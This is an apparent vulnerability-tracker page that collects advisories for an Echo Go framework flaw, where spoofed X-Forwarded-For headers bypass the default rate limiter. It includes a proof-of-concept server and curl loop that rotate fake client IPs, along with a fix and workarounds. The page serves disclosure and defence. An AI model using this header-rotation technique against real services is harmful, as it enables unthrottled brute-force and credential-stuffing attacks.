Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Echo: Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

CVSS 3.1 5.3 MEDIUMEUVD CVSS 3.1 5.3 CVSS 3.1 · [email protected] · Secondary 5.3 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/labstack/echo/v5 5.1.0osv · severity unknownFixed by github.com/labstack/echo/v5 5.1.0KEV status unknown

cve-program · CVE-2026-118653

Published

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A remote attacker can rotate arbitrary forwarded-address values to obtain new rate-limit buckets and bypass IP-based throttling used for controls such as brute-force or request-volume protection. This issue is fixed in Echo v5.1.0.

Read the publisher's advisory

euvd · EUVD-2026-112409

Published

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A remote attacker can rotate arbitrary forwarded-address values to obtain new rate-limit buckets and bypass IP-based throttling used for controls such as brute-force or request-volume protection. This issue is fixed in Echo v5.1.0.

Read the publisher's advisory

nvd · CVE-2026-118653

Published

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A remote attacker can rotate arbitrary forwarded-address values to obtain new rate-limit buckets and bypass IP-based throttling used for controls such as brute-force or request-volume protection. This issue is fixed in Echo v5.1.0.

Read the publisher's advisory

osv · GHSA-246p-cpwv-v3jq

Published

## Summary When `echo.New()` is used without explicitly setting `Echo#IPExtractor`, the `RealIP()` method falls back to reading the client-supplied `X-Forwarded-For` (or `X-Real-IP`) header without any proxy-origin validation. The default `RateLimiter()` middleware derives its per-client identifier from `ctx.RealIP()`, so an attacker can rotate arbitrary values in the `X-Forwarded-For` header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely. ## Affected Component - `context.go` — `(*Context).RealIP()` (lines 186–208), legacy fallback branch (lines 190–200) - `middleware/rate_limiter.go` — `DefaultRateLimiterConfig.IdentifierExtractor` (lines 46–58); `RateLimiter()` (lines 71–76) - `echo.go` — `New()` (lines 326–343), `IPExtractor` left `nil` by default ## Description ### `RealIP()` unconditionally trusts `X-Forwarded-For` when `IPExtractor` is unset `Context.RealIP()` (`context.go:186-208`) first checks `c.echo.IPExtractor`. When this field is `nil` (the default for `echo.New()`), it falls through to legacy behavior and returns the **first IP** from the `X-Forwarded-For` header — the position an attacker has full control over: ```go // context.go:186-200 func (c *Context) RealIP() string { if c.echo != nil && c.echo.IPExtractor != nil { return c.echo.IPExtractor(c.request) } // Fall back to legacy behavior if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" { i := strings.IndexAny(ip, ",") if i > 0 { xffip := strings.TrimSpace(ip[:i]) xffip = strings.TrimPrefix(xffip, "[") xffip = strings.TrimSuffix(xffip, "]") return xffip // ← attacker-controlled first IP } return ip } if ip := c.request.Header.Get(HeaderXRealIP); ip != "" { ... return ip // ← also attacker-controlled } ra, _, _ := net.SplitHostPort(c.request.RemoteAddr) return ra } ``` ### Rate limiter default identifier extractor calls `RealIP()` unconditionally `DefaultRateLimiterConfig` (`rate_limiter.go:46-58`) sets the identifier extractor to `ctx.RealIP()` with no guard for whether a safe `IPExtractor` is configured: ```go // rate_limiter.go:46-58 var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx *echo.Context) (string, error) { id := ctx.RealIP() // ← reads attacker-controlled header return id, nil }, ... } ``` `RateLimiter(store)` (`rate_limiter.go:71-76`) copies `DefaultRateLimiterConfig` directly: ```go // rate_limiter.go:71-76 func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc { config := DefaultRateLimiterConfig config.Store = store return RateLimiterWithConfig(config) } ``` The result is that the most common usage pattern — `e.GET("/path", h, middleware.RateLimiter(store))` — produces a rate limiter whose per-client identifier is fully controlled by the requester. ### Framework acknowledges the issue for IP extraction but the rate limiter carries no warning `ip.go:27` explicitly states the default is insecure: > "Note: if you don't set `Echo#IPExtractor` explicitly, Echo fallback to legacy behavior, which is not a good choice." And `ip.go:117-119`: > "In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility." The `IPExtractor` mechanism (`ExtractIPDirect()`, `ExtractIPFromXFFHeader()`, `ExtractIPFromRealIPHeader()`) in `ip.go` exists precisely to close this gap. However, the `RateLimiter()` function and `DefaultRateLimiterConfig` have **no corresponding warning** and make no attempt to detect or flag that `IPExtractor` is unset, leaving operators who follow the standard rate limiter example silently exposed. The test `TestRateLimiterWithConfig_defaultConfig` (`rate_limiter_test.go:181-226`) itself drives the rate limiter by setting `X-Real-IP` directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation. ### Full execution chain 1. Server starts with `echo.New()` (no `IPExtractor` set) and `e.GET("/limited", h, middleware.RateLimiter(store))` 2. Attacker sends `GET /limited` with header `X-Forwarded-For: 1.2.3.4` — rate bucket for `1.2.3.4` consumed 3. Attacker sends `GET /limited` again with `X-Forwarded-For: 1.2.3.4` — second token consumed; if burst is 1, next request would be 429 4. Attacker sends `GET /limited` with `X-Forwarded-For: 5.6.7.8` — **new bucket created** for `5.6.7.8`, 200 OK returned 5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served ## Proof of Concept ```go package main import ( "net/http" echo "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" ) func main() { e := echo.New() // NOTE: IPExtractor deliberately NOT set — this is the default store := middleware.NewRateLimiterMemoryStore(1) e.GET("/limited", func(c *echo.Context) error { return c.String(http.StatusOK, "ok") }, middleware.RateLimiter(store)) e.Logger.Fatal(e.Start(":1324")) } ``` ```bash # First request with IP 1.1.1.1 — consumes burst token curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited # HTTP/1.1 200 OK # Second request with same IP — rate limited curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited # HTTP/1.1 429 Too Many Requests # Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited # HTTP/1.1 200 OK # Repeat indefinitely with rotating IPs — rate limit never triggers for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited done # 200 200 200 ... (all 200, never 429) ``` ## Impact - Attackers can make unlimited requests to any endpoint protected by `middleware.RateLimiter()` using the default configuration by rotating the `X-Forwarded-For` header - Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled - API abuse and credential stuffing are possible at arbitrary throughput - Any per-IP security control that relies on `ctx.RealIP()` with default configuration (access logging, geo-blocking, audit trails) is equally undermined ## Recommended Remediation ### Option 1: Require explicit `IPExtractor` configuration in `RateLimiter()` (preferred) The `RateLimiter()` convenience function should detect when `IPExtractor` is not configured and either panic with a clear message or fall back to `ExtractIPDirect()` (direct-connection IP only): ```go // rate_limiter.go — illustrative change var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx *echo.Context) (string, error) { if ctx.Echo().IPExtractor == nil { // Fall back to direct TCP peer address — safe for non-proxied deployments host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr) if err != nil { return ctx.Request().RemoteAddr, nil } return host, nil } return ctx.RealIP(), nil }, ... } ``` ### Option 2: Document and warn in `RateLimiter()` godoc At minimum, add a prominent warning to the `RateLimiter()` and `DefaultRateLimiterConfig` documentation directing users to configure `Echo#IPExtractor` before using IP-based rate limiting, mirroring the guidance already present in `ip.go`. ```go // RateLimiter returns a rate limiting middleware. // // SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads // X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor, // these headers are fully client-controlled and can be spoofed to bypass // rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or // echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware. // See https://echo.labstack.com/guide/ip-address for details. func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc { ``` ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai). ## Patches Fixed in `github.com/labstack/echo/v5` v5.1.0: without `Echo#IPExtractor`, `Context.RealIP()` returns the address of the direct peer; the previous behavior is available as `LegacyIPExtractor`. `github.com/labstack/echo/v4` keeps its default for compatibility. ## Workarounds Configure `Echo#IPExtractor` for your deployment (`echo.ExtractIPDirect()` without a proxy, `echo.ExtractIPFromXFFHeader()` behind proxies, with `TrustIPRange` for proxies on public addresses), or set `RateLimiterConfig.IdentifierExtractor` to an identifier that clients cannot choose.

Read the publisher's advisory

osv · GO-2026-6872

Published

Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration in github.com/labstack/echo

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.

Advisory history

16 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

12 Nov 2026 03:02:13 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

10 Nov 2026 02:08:08 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

8 Nov 2026 01:56:44 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

6 Nov 2026 00:44:01 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

5 Nov 2026 23:38:32 UTC

Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

osv · GHSA-246p-cpwv-v3jq · Published

5 Nov 2026 23:38:32 UTC

Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration in github.com/labstack/echo

osv · GO-2026-6872 · Published

4 Nov 2026 00:05:33 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

3 Nov 2026 22:59:08 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

nvd · CVE-2026-118653 · Published

2 Nov 2026 21:57:16 UTC

Echo: Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

cve-program · CVE-2026-118653 · Published

1 Nov 2026 23:02:56 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

30 Oct 2026 22:47:38 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

30 Oct 2026 21:45:28 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

nvd · CVE-2026-118653 · Published

28 Oct 2026 20:58:12 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

euvd · EUVD-2026-112409 · Published

28 Oct 2026 20:57:26 UTC

Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A re…

nvd · CVE-2026-118653 · Published

28 Oct 2026 20:57:17 UTC

Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

osv · GHSA-246p-cpwv-v3jq · Published

28 Oct 2026 20:55:13 UTC

Echo: Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

cve-program · CVE-2026-118653 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 13 Nov 04:05 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current